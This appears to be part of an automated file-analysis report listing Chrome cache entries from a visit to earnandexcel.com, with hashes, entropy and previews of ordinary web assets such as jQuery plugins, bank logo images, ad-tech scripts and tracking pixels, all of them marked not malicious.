Preview:	/!. PowerTip v1.3.1 (2018-04-15). https://stevenbenner.github.io/jquery-powertip/. Copyright (c) 2018 Steven Benner (http://stevenbenner.com/).. Released under MIT license.. https://raw.github.com/stevenbenner/jquery-powertip/master/LICENSE.txt./.!function(e,t){"function"==typeof define&&define.amd?define(["jquery"],t):"object"==typeof module&&module.exports?module.exports=t(require("jquery")):t(e.jQuery)}(this,function(h){var v=h(document),n=h(window),e=h("body"),m="displayController",T="hasActiveHover",g="forcedOpen",i="hasMouseMove",y="mouseOnToPopup",a="originalTitle",b="powertip",H="powertipjq",k="powertiptarget",P=".powertip",O=180/Math.PI,t=["click","dblclick","mousedown","mouseup","mousemove","mouseover","mouseout","mouseenter","mouseleave","contextmenu"],I={elements:null,tooltips:null,isTipOpen:!1,isFixedTipOpen:!1,isClosing:!1,tipOpenImminent:!1,activeHover:null,currentX:0,currentY:0,previousX:0,previousY:0,desyncTimeout:null,closeDelayTimeout:null,mouseTrackingActive:!1,de

Chrome Cache Entry: 1111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 205 x 63, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	6482
Entropy (8bit):	7.953636503325335
Encrypted:	false
SSDEEP:	192:C7dcJzXfsU7n51guYxiwa9RtIGm1vQrNSADFbc2G:CBcFP1n5NwareGmGrNSObc9
MD5:	E9DD026CBC7B5DC87E3D685E733763A1
SHA1:	00B96809100D1AD34B176E3332C76FE008B57FF1
SHA-256:	173B3D269FAEECA73A7E0BE702D580ECA7831B14BCD7313D8E7E2698FCABEC89
SHA-512:	964B1F16D8942E27193EB53A38FDB25D0A1AFC43E072BDB790374C065550DAC3674425E3C8B6A21BD31C88F97B5BCBC3A726270205D788AF08B7A3A686004285
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/BARCLAYS.png
Preview:	.PNG........IHDR.......?.....C.L{....IDATx...k\1....KB....{.^BB..6.a....lc.{....\| ....>x..@..z.......,""bG8`...1i""b.DDd.b.DD....I...U.I....&""&MDDV!&MDDL....4..Y..4...4KKK...b`uu.....lll......u[^^...5S..;-.2.F.?vss..~~^z..x....Il.>...........q.-..s0&S.3....~..?=.}.....v......\..XO...}......4a.$.......T.)0y.D\Fs36.i..y...DIg3. ......o.3...~_.`K.q.n..^~...."...T...C._..$.<sss....4L...`W.'..'...IZ\|.4.4U8.F..$.8i4....j.....V8..g..E.}.=?....].b..0e...W....u.C...k&nh....&.x..iv..&''1N..`......a....x?.2.n~%...l.....JV...gh....^.Qr.\H......tTNu..g.7.Jg.nN....#. ;.F...S..........}....yc/_....j.s..._XX...Y.H&..]..T...H...B.g.0<SVI........4}S.....,.hIr..N....*9.i....K.h...I..pG.O..G...~.I.LOO'%......S..8.Cyyyv....u.].~.^.j.]s}..."..t4Q .............e..=NIv....(.vpoQ."...).3@E0.q.(~......\|...~$..OOhww....Xii..z..n.m.=.3g.Xkk.. .u....@.dall....ljj..8.........tmtt....x..(..9....A.6..p..?Jj..G.Ot3f... ..===...h...VRRb...VYYiMMM...n...& ...%xG.>....~...

Chrome Cache Entry: 1112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	68
Entropy (8bit):	4.403590365002627
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tJ8/V+/B6dS8p:6v/lhPfA/UJ63p
MD5:	EDB2AA47631C67A43709D4CCD2501E33
SHA1:	87475B448C53CF32FFE78AB121DB8BAB41D478E0
SHA-256:	6019C3C9E47DC991F8D9937DEAFBB0740C2E61E321324798CB508773B0814824
SHA-512:	65820EEAF261F01988570AFE7866D9B83901950DFBD89542009A1FAAAE520E1AF2FA08789B7E94A64B0E1A3BDC39256354EFE1D38856621851DD65E80505DBB2
Malicious:	false
Reputation:	low
URL:	https://match.sharethrough.com/sync/v1?source_id=UiRtTsXAfjmfSDAKnR1FjWsu&source_user_id=LUVR2A3B-N-5ZEP
Preview:	.PNG........IHDR.....................IDATx.c........o.......IEND.B`.

Chrome Cache Entry: 1113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	108
Entropy (8bit):	4.7289599018624005
Encrypted:	false
SSDEEP:	3:YxhALAEQ9G2LI0N9yUEFpHACNNpAcANQDxPR4i:YnLEk869yuWAcANQtPRr
MD5:	F81C212F634D09709C76F52C341179D9
SHA1:	CFA5141202F04175203C75608ADE62F93A46F779
SHA-256:	91020C99752733CEB9691957D2E2333CD25B2E7282FC742C1BA8222F99DB148C
SHA-512:	AF7CFE54291D3ECAECAF50C10A64AF3B183FB7F4E4AB35F0624212B2DE72F0E1B533B76A976D7FD95E2E0A67680D393EA052C87A67795157BBB11AD2A9BFCAB7
Malicious:	false
Reputation:	low
Preview:	{"TDID":"84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19","TDID_LOOKUP":"TRUE","TDID_CREATED_AT":"2024-03-11T21:26:58"}

Chrome Cache Entry: 1114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 194 x 49, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4801
Entropy (8bit):	7.930185796636572
Encrypted:	false
SSDEEP:	96:jDrgxwm2ORDlleiuySZ0154qBt02mtAl56LVjsT3Q1Ax8IN+rwt92e188aS:jDrswkr6y20154eZmAAeQ2xDOQ1PD
MD5:	26C22A5F4BCCCAA7FBC4B47795FFF659
SHA1:	AB638F655E30387C70F976BCFA25B7C091EC7AE2
SHA-256:	489597C5CA8033A70B347D767AF47488EEDFFD2505A521E86B47DC263ED26B12
SHA-512:	9FCE76E9CD239D62952DE67C83231FC1370020CD04F586DFBC1341D8BD191904F0DF9EEE3EF97394260A260E1C191F7C72A631DD73AF2E2F72850BA6FD768950
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/LLOYDS-BANK.png
Preview:	.PNG........IHDR.......1.......v.....IDATx..ZYHV[.6....h .("... ..z..K4..A....."........(.".>8...".....[...............s...^......1==......XXX"X"XX"X"XX"X"XX"X"X."&''A.......SSS ................MX"X.1....W..m.6x{{.y]]..GV...a..%....5.........].v.......C......-.,.<P........2TVV...B...c...}.6jkk......s.$..A...............a...8p./^....q...xyy.<rE.K......~.....o8..<W.!....q..5.........>f.%...GKK.233.$X.\|.8..7n.k___..........v.Q.D...`.(22..>\|....p.B\|....w...k.b..\|...?~..R.<x.5550`.`1...btt..:...i.....Y......qqq.i.D....A..W.-[........8.........c........S...5....W{_...`_....+c...SB....-[...y.f....CY..>}....:..g.`....[j..0......F...Fs.hkk...{...)...+W.`...bB566:.'D..id1.P.7......Rdee....EEEhnn...g..:...`hh.J.OOOI.-Y...N...........g ...a...$.%....Z[..k.......ddd..........n.f?....f..S...S"F.o.pipp..ER_]]...q.+.....yN"....Gbb"......g.\|....<@`` ...I..8.8.%B..........GI...(..Y~...3...JR-55U.oMMM(..FUU..s..f.`.>..WS.E.......[jl:..../^.Z[L.....aaaB.g.

Chrome Cache Entry: 1115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2474)
Category:	downloaded
Size (bytes):	41150
Entropy (8bit):	5.32836800322513
Encrypted:	false
SSDEEP:	768:jh1KbpBz/i38NOlPM6V3tqUFIru9FITGH4ARR3iLjZJj1wjOfbXhbNvRfuKLBzd2:jh1KbP3B03t7GZG3iLjZJj1wjOfbXhbk
MD5:	03DD89B74FB02695DAFAD8B06F080B69
SHA1:	9405160A8CEAC347E575DBD0C508321AB5AB37CB
SHA-256:	5B9CFA0283D9A9F6A909DF2B61C9933C11130343F08AEC96CDD8F49C29972526
SHA-512:	F865528394AD972A618ECBD6CDC3555B81F65DDE612EEEFE27EE18761CA1A11B2CA3A52FF090CE0D9B200FB73734AD2CD3D8996CB0D284D2D2C017282461A108
Malicious:	false
Reputation:	low
URL:	https://pagead2.googlesyndication.com/omsdk/releases/live/omweb-v1.js
Preview:	;(function(omidGlobal) {. var m;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}function p(a){var b='undefined'!=typeof Symbol&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if('number'==typeof a.length)return{next:aa(a)};throw Error(String(a)+' is not an iterable or ArrayLike');}function r(a){if(!(a instanceof Array)){a=p(a);for(var b,c=[];!(b=a.next()).done;)c.push(b.value);a=c}return a}.var ba='function'==typeof Object.create?Object.create:function(a){function b(){}b.prototype=a;return new b},t='function'==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ca(a){a=['object'==typeof globalThis&&globalThis,a,'object'==typeof window&&window,'object'==typeof self&&self,'object'==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error('Cannot find global object');}var da=ca(this);func

Chrome Cache Entry: 1116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5939), with no line terminators
Category:	downloaded
Size (bytes):	5939
Entropy (8bit):	5.843843908694944
Encrypted:	false
SSDEEP:	96:l/WLiPM6X5ZqHKZcTXm9KhuES87iRydrIIkZ/D1HgDJXWxFMZ8pT89xhCoZyT/iF:l/RM8Qqoh03RnTpADJGMeqDoG1N997nN
MD5:	D7254ABB6956B44E4DFA4583BD9C0B16
SHA1:	D21B243A558D28726A75AB9B09D5EB521CCFF778
SHA-256:	6B495A2645D8D78810848A50473470B6E351B3CB83E8355AEDA52B90DD2D7293
SHA-512:	C6BDC2334890009077C9DC32C822A986A10C8D5A747D4B94702D3571ACCB8517BA4DFF16B8E72392FEA23D30C29DEBD2B153A5638E5A5EB882714ACC0A608A77
Malicious:	false
Reputation:	low
URL:	https://scripts.mediavine.com/tags/3706/960c85452fb5731e69f0.min.js
Preview:	"use strict";(self.mvWrapperJsonp=self.mvWrapperJsonp\|\|[]).push([[3706],{9383:(e,t,i)=>{i.d(t,{H:()=>a});var s=i(6469),n=i(5595),d=Object.getPrototypeOf,o=Reflect.get;const a=(e,t)=>class t extends e{constructor(e,t){super(e,t)}adunits(){return e=this,a=null,r=function*(){const e=yield(a=t.prototype,r=this,M="adunits",o(d(a),M,r)).call(this);var a,r,M;if(!this.model.mv_native_enabled&&!(0,n.DY)("test","nativeTestAd")&&!(0,n.DY)("test","nativeTestVideoAd"))return e;const[{buildRequestFromTemplate:l},{getTemplate:u}]=yield Promise.all([i.e(9300).then(i.bind(i,9300)),i.e(6409).then(i.bind(i,6409))]),c=u(this),h=(0,s.X)(this.model.bidRequests.native);h.map((e=>e.isNative=!0));const N=l(c);return[...e,{code:this.id,bids:h,mediaTypes:{native:N}}]},new Promise(((t,i)=>{var s=e=>{try{d(r.next(e))}catch(e){i(e)}},n=e=>{try{d(r.throw(e))}catch(e){i(e)}},d=e=>e.done?t(e.value):Promise.resolve(e.value).then(s,n);d((r=r.apply(e,a)).next())}));var e,a,r}}},3706:(e,t,i)=>{i.r(t),i.d(t,{Adhesion:()=>I

Chrome Cache Entry: 1118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	3.9297954712258907
Encrypted:	false
SSDEEP:	3:YWQRAA2neiI:YWQmveiI
MD5:	D31320B41A6A283815FB2F490B9F227F
SHA1:	E21F339A128F97ED4F85AA079661CEC810089DC6
SHA-256:	435B1ECE4A55F4F8D06866B32C1AEE3CC4661EB905265894795F15A57BF1B33D
SHA-512:	F6AEAB24B8BE1A17B061DFBD89EF67E669E9A57B4A39E6051467A4974C854E87DACDBCDAC9F4F129C5EDB3739BBE06D27E0D94528D8C6229FDC3848A43BCB047
Malicious:	false
Reputation:	low
URL:	https://lexicon.33across.com/v1/envelope?pid=0014000000xvEfwAAE&gdpr=0&src=pbjs&ver=8.31.0&coppa=0&us_privacy=1---
Preview:	{"succeeded":false,"error":"Cookied User"}

Chrome Cache Entry: 1119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19549), with no line terminators
Category:	downloaded
Size (bytes):	19549
Entropy (8bit):	5.293060349659795
Encrypted:	false
SSDEEP:	384:H3uuvinPoezlK66nPw+kS7i/q88cfPMIoK+VX4T+tO2bLiUoJV8hxypR7+UGkIq:H3uuviwepKJnPw9Se/xYIoBeT+tO2bLW
MD5:	41887B0EA13F8EECB999EF7DED373586
SHA1:	35A352A9002A86073D0C57CA2DE2941D5D60731F
SHA-256:	6FF6A705C2326CF790541918C996D5E3D9C18AF1870E5F7C49DB9C4554F19E36
SHA-512:	5DE4126BF19580F45ABE593B3EFCEA200B657BC47B64B888DBA03D02A6795B7E1D5A3B307F8AE800F4892E40043D663D3649D572B3B7C1060F2B546C0BD61204
Malicious:	false
Reputation:	low
URL:	https://scripts.mediavine.com/tags/4508/9efecde05633b883df8c.min.js
Preview:	"use strict";(self.mvWrapperJsonp=self.mvWrapperJsonp\|\|[]).push([[4508],{2110:(e,t,i)=>{i.d(t,{f:()=>s});var s=(e=>(e.start="start",e.resume="resume",e.pause="pause",e.init="init",e))(s\|\|{})},4508:(e,t,i)=>{i.r(t),i.d(t,{OUTSTREAM_REFRESH_TIME:()=>_,OutstreamRenderer:()=>w});var s=i(3583),n=i(2110),r=i(2321),o=i(7475),a=i(9225),d=i(3528),l=i(1507),h=i(6497),c=i(5077),u=i(5068),p=i(6057);const b=(e,t)=>{e.reauctions++,r.Z.trigger(r.Z.events.bidReady,t),e.refreshes++,r.Z.trigger(r.Z.events.refreshTimeReached,e)};var m=Object.defineProperty,g=Object.getOwnPropertySymbols,v=Object.prototype.hasOwnProperty,f=Object.prototype.propertyIsEnumerable,y=(e,t,i)=>t in e?m(e,t,{enumerable:!0,configurable:!0,writable:!0,value:i}):e[t]=i;const _=31;class w{constructor(e){this.slot=e,this.onVisibilityChange=e=>{if(this.player){if(this.player.playerState===n.f.init)return;e?this.player.play():this.player.pause()}},this.onImpression=()=>{r.Z.trigger(r.Z.events.registerRefreshable,this.slot)},this.onAdSt

Chrome Cache Entry: 1120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9354)
Category:	downloaded
Size (bytes):	9531
Entropy (8bit):	5.016514932736511
Encrypted:	false
SSDEEP:	192:F+VgksRTuuE2mBrcPgfMGFTsPWl7h12JyF:F1duuE7xhxsPS0A
MD5:	65941CBC22665FE5913213A865679E12
SHA1:	8BB14561F9AF47C0B965D0216B9C4DDC39DA9FF0
SHA-256:	E94B12CB948D3D2EFF43ADDF04700F8611BA383C00892652DC294A76BEC2A105
SHA-512:	C5DEB96E36CE773C5B3BFAB85A1D8D1A4DC1FB43B9A5767E29A2B12D1EC80F3CF2E652D7C4B1BBCDECD0A7E76F578541C5BB07B1995DB4F835258A60DB494391
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-includes/js/jquery/ui/menu.min.js
Preview:	/!. jQuery UI Menu 1.12.1. * http://jqueryui.com. . Copyright jQuery Foundation and other contributors. * Released under the MIT license.. * http://jquery.org/license. /.!function(e){"function"==typeof define&&define.amd?define(["jquery","./core"],e):e(jQuery)}(function(a){return a.widget("ui.menu",{version:"1.12.1",defaultElement:"<ul>",delay:300,options:{icons:{submenu:"ui-icon-caret-1-e"},items:"> ",menus:"ul",position:{my:"left top",at:"right top"},role:"menu",blur:null,focus:null,select:null},_create:function(){this.activeMenu=this.element,this.mouseHandled=!1,this.element.uniqueId().attr({role:this.options.role,tabIndex:0}),this._addClass("ui-menu","ui-widget ui-widget-content"),this._on({"mousedown .ui-menu-item":function(e){e.preventDefault()},"click .ui-menu-item":function(e){var t=a(e.target),i=a(a.ui.safeActiveElement(this.document[0]));!this.mouseHandled&&t.not(".ui-state-disabled").length&&(this.select(e),e.isPropagationStopped()\|\|(this.mouseHandled=!0),t.has(".ui-

Chrome Cache Entry: 1121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1208
Entropy (8bit):	4.8139832414942765
Encrypted:	false
SSDEEP:	24:xipWPQCWBdMjjI0AIVn6Ngb3T0CCUIgmC+4LqKQuhlCuV47H:xI8Z+AjI0AIV6NS0CPIgEDQ2J7H
MD5:	1CD04E82D1003D05085D74CD8B67A9DE
SHA1:	2B3F27E1778295DEC31A42C54CCE1762BDF5DD8C
SHA-256:	BC3E21AB4776D11D8A309042DF0B6E243B385B698F4443A5C05580B09F8BD96D
SHA-512:	79E5BE60ED09C0E4CB320464B12411D97FDCBCCB6F77594B2EE2EDCC121C41CD00A2D8496E58F443AE329B9582E904B86E6B93749CB39AACF2A3A0B46BE22B3E
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/elementor/assets/js/widgets/widget-counter.js
Preview:	(..function( $ ) {...'use strict';....var EdumallCounterHandler = function( $scope, $ ) {....var $element = $scope.find( '.tm-counter' );.....elementorFrontend.waypoint( $element, function() {.....var settings = $element.data( 'counter' );......var $number = $element.find( '.counter-number' );......$number.countTo( {......from: settings.from,......to: settings.to,......speed: settings.duration,......refreshInterval: 50,......formatter: function( value, options ) {.......return format( value.toFixed( options.decimals ), settings.separator );......},.....} );....} );.....function format( x, sep, grp ) {.....var sx = (......'' + x.....).split( '.' ), s = '', i, j;.....sep \|\| (......sep = ''.....); // default separator......grp \|\| grp === 0 \|\| (......grp = 3.....); // default grouping.....i = sx[ 0 ].length;.....while ( i > grp ) {......j = i - grp;......s = sep + sx[ 0 ].slice( j, i ) + s;......i = j;.....}.....s = sx[ 0 ].slice( 0, i ) + s;.....sx[ 0 ] = s;.....return sx.join(

Chrome Cache Entry: 1122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.142069457963608
Encrypted:	false
SSDEEP:	3:CU1urkltxlHh/:gg/
MD5:	DB04C7B378CB2DB912C3BA8A5A774EE3
SHA1:	DEE34BD86C3484D31002182AA2B7CAA4699126B8
SHA-256:	98B3D9D20E032F90ACA49E9B116225D539FF6FBDB7E42C3C363F63896AC03D2A
SHA-512:	826225FC21717D8861A05B9D2F959539AAD2D2B131B2AFED75D88FBCA535E1B0D5A0DA8AC69713A0876A0D467848A37A0A7F926AEAFAD8CF28201382D16466AB
Malicious:	false
Reputation:	low
URL:	https://pmp.mxptint.net/sn.ashx?ak=1
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (26516)
Category:	downloaded
Size (bytes):	26702
Entropy (8bit):	4.830125836352143
Encrypted:	false
SSDEEP:	192:dP6RT1bIl4w0QUmQ10PwKLaAu5CwWavpHo4O6wgLPbJVR8XD7mycP:0Ral4w0QK+PwK05eavpmgPPeXD7mycP
MD5:	C55205BCE667F5D812354FD1353E7389
SHA1:	F22DE0AF271EBA636A022C873C94FBCD81B4C89A
SHA-256:	C55902832FB84522D02EA1A60A30747403A140D8651FA748F13BA398B0C0DF3A
SHA-512:	89A2E11075B7A7E64D8240CA062E3311F1FE69600C189EC8EE78EA0F78CA9DB374BB1E0692E9AEDAF8EE23BD58528BF6D0E20F977477DAFF073BE57EE8E81BBD
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/elementor/assets/lib/font-awesome/css/v4-shims.min.css
Preview:	/!. Font Awesome Free 5.15.3 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */..fa.fa-glass:before{content:"\f000"}.fa.fa-meetup{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-star-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-star-o:before{content:"\f005"}.fa.fa-close:before,.fa.fa-remove:before{content:"\f00d"}.fa.fa-gear:before{content:"\f013"}.fa.fa-trash-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-trash-o:before{content:"\f2ed"}.fa.fa-file-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-file-o:before{content:"\f15b"}.fa.fa-clock-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-clock-o:before{content:"\f017"}.fa.fa-arrow-circle-o-down{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-arrow-circle-o-down:before{content:"\f358"}.fa.fa-arrow-circle-o-up{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-arr

Chrome Cache Entry: 1124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	85
Entropy (8bit):	4.292908596521779
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+DtjyREWqWv+ndp:6v/lhPfkCDtmDV+dp
MD5:	5BEC6606B8392065F9DA9898CA6F7B14
SHA1:	73AC5B01B5E3293FB792179626E7F8369CDB944D
SHA-256:	ACCCC501AA6AFA3CFAC15E8DDCCF1561DEED2ED08C2F7D652ABBDBE9AA71609A
SHA-512:	36FEC10F71295203E59BCC52042EE2691E5DB51D26F6D76D4B19BFEDF4429FDE898C87ABC77CA29F6BB58E6217FF380F0650115C06395CB1DA270BD028C2CF80
Malicious:	false
Reputation:	low
URL:	https://sync-tm.everesttech.net/upi/pid/b9pj45k4?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=${TM_USER_ID}&gdpr=1&gdpr_consent=
Preview:	.PNG........IHDR.............%.V.....PLTE......U..~....IDATx.c`.......'......IEND.B`.

Chrome Cache Entry: 1125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	176418
Entropy (8bit):	5.429225647389729
Encrypted:	false
SSDEEP:	3072:QGqYELkeFhrkv3+i7eJdL/oNdH9KjJ3vJf7MlyHrK:QWeFhrkv3z72ZoNdH9u3vJf/W
MD5:	21DD2698A7480BDB72ECE195DDC111E6
SHA1:	6F8A9C392ED907E33302CAB6D6416CF74616F569
SHA-256:	57B71C08A1C52B4E1CD463CBC97DB2617D74BF59F5EC41696911FC3D2A43206F
SHA-512:	F0BBE656FD49B86CE6B10C94C57F13E6B58D0376FC4F2A9FE1071F7D54B3E33F927B2866934FF8C7AB027F3A087AB8EA987F18C1652F5E9CA9B35073C196EA53
Malicious:	false
Reputation:	low
URL:	https://faves.grow.me/app.7.239.1.js
Preview:	(()=>{var e={2248:(e,t,r)=>{"use strict";function n(e){var t=0;for(var r in e)e[r]&&t++;return t}r.d(t,{k:()=>a});var o=858;function a(e){var t,r,a,i=n(null===e\|\|void 0===e\|\|null===(t=e.purpose)\|\|void 0===t?void 0:t.consents),c=n(null===e\|\|void 0===e\|\|null===(r=e.purpose)\|\|void 0===r?void 0:r.legitimateInterests),s=null===e\|\|void 0===e\|\|null===(a=e.vendor)\|\|void 0===a\|\|null===(a=a.consents)\|\|void 0===a?void 0:a[o];return 10===i&&9===c&&s}},4876:(e,t,r)=>{"use strict";r.d(t,{_:()=>c,u:()=>i});var n=r(1580),o=r(676);const a=n.createContext({betaName:"",betaVersion:""});function i(e){let{betaName:t,betaVersion:r,children:i}=e;const c=n.useMemo((()=>({betaName:t,betaVersion:r})),[t,r]);return(0,o.im)(a.Provider,{value:c,children:i})}function c(){return n.useContext(a)}},4476:(e,t,r)=>{"use strict";r.d(t,{O:()=>i,m:()=>c});var n=r(1580),o=r(676);const a=n.createContext(window.matchMedia("(max-width: 600px)").matches);function i(e){let{children:t}=e;const[r,i]=n.useState(window.matchMedia("(

Chrome Cache Entry: 1127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 640x360, components 3
Category:	dropped
Size (bytes):	40388
Entropy (8bit):	7.985571748561232
Encrypted:	false
SSDEEP:	768:wlQTUVz3hrdmsao1igofdeij2sEDO5B9GKm9/lH483:wGUF5msmHBpB9Gh9/l483
MD5:	14A43C4F8F8897336E2745CBD4FB1A4C
SHA1:	B39028B629D9F542800D50CD358B514863089FB9
SHA-256:	45583DABE3B9D5F75222D2BF990A6C0EDFB71539EC59970E3421FD82BE1245A0
SHA-512:	7FBC310ED3BACAB65A7E3F6E10B1764B240080AD83FF9DB54ABFEEECE156CCDF70542B2CF34735D11577C00654EC2287CC5485FFF1E5FDE001661396EAF96881
Malicious:	false
Reputation:	low
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......h....".................................................5..^W{.q]qh...G8.....G;.s..C{.e..`....{...xtt.!....Si....jT.............ctzL].-.......I.W$.<..\.J..^.v..}6..pH...N....5C.2.E\&.G..T..cj6R.c..=!..t-...R.........`..i...9.t....hFA.......}IY...(.E......X.'o.58..8....:..E1\..8......l.-N.e.d..D.cV."~}..h..Wg$....1w.DL..p8."N+V..p...Wa.j1509!....z........r..k.$~.?.U.vi:..87A..m....^...7.......(Qk?TV..C...[.$r .I].a.;J.R6.J....k..b+......C.ad.L.....o9.X.ZW.?J.x.............K.[...-s.T]..V..b..b..z.g.Q.."2...H..:m.Z.6......\.,...6.YQT...&.3.o....Xy.m...2..\..dq..Q.....T..r...Z&0.,.%..".8...Q.;UZ..m.(M.s...#...sP......-2....S.....y.i{%...Bt.s.W#..P.0.<...j.GV.1..)n.o."....6.$(/..Gq..Sm...\... _R..!..x.&.b..M;..R..z.@..;Jb!..\|.:..Z.3.t..C..%<.;...ri.d....u\q}J....P....h..v.m'.D.,..u..

Chrome Cache Entry: 1128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7780)
Category:	downloaded
Size (bytes):	8935
Entropy (8bit):	5.364519053844129
Encrypted:	false
SSDEEP:	192:bbvcZunH54wHePVCo4CkelHJB5ZAfhKwTxgfIGK8yB5Ny:bbvcuCseSelvzgbrB5Ny
MD5:	D482D4FA5C68505C2B2F187E5F73E8FF
SHA1:	7643DD15D8C2D7EB3EF782F02744954163031185
SHA-256:	DD459ACDBEECE2740F86C2C301D746C5A0878372CAEADD3B0999E2CD6137B858
SHA-512:	3F03796307FA65F98C653C88361847F80757C7F26A97F7D1DDE341472444789CBC60401B5A7DEAF7B30838E176D322FD3F023C71137733DE4881A8C4000A2368
Malicious:	false
Reputation:	low
URL:	https://static.hotjar.com/c/hotjar-2832943.js?sv=6
Preview:	window.hjSiteSettings = window.hjSiteSettings \|\| {"site_id":2832943,"r":0.23526529348544978,"rec_value":0.0,"state_change_listen_mode":"automatic","record":true,"continuous_capture_enabled":true,"recording_capture_keystrokes":true,"session_capture_console_consent":false,"anonymize_digits":true,"anonymize_emails":true,"suppress_all":false,"suppress_all_on_specific_pages":[],"suppress_text":false,"suppress_location":false,"user_attributes_enabled":true,"legal_name":"","privacy_policy_url":"","deferred_page_contents":[],"record_targeting_rules":[],"feedback_widgets":[],"heatmaps":[],"polls":[],"integrations":{"optimizely":{"tag_recordings":false},"abtasty":{"tag_recordings":false},"mixpanel":{"send_events":false},"unbounce":{"tag_recordings":false},"google_optimize":{"tag_recordings":false},"hubspot":{"enabled":false,"send_recordings":false,"send_surveys":false}},"features":["settings.billing_v2","survey.embeddable_widget","feedback.widgetV2","survey.type_button","survey.screenshots","sur

Chrome Cache Entry: 1129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65046)
Category:	downloaded
Size (bytes):	450342
Entropy (8bit):	5.004956196883799
Encrypted:	false
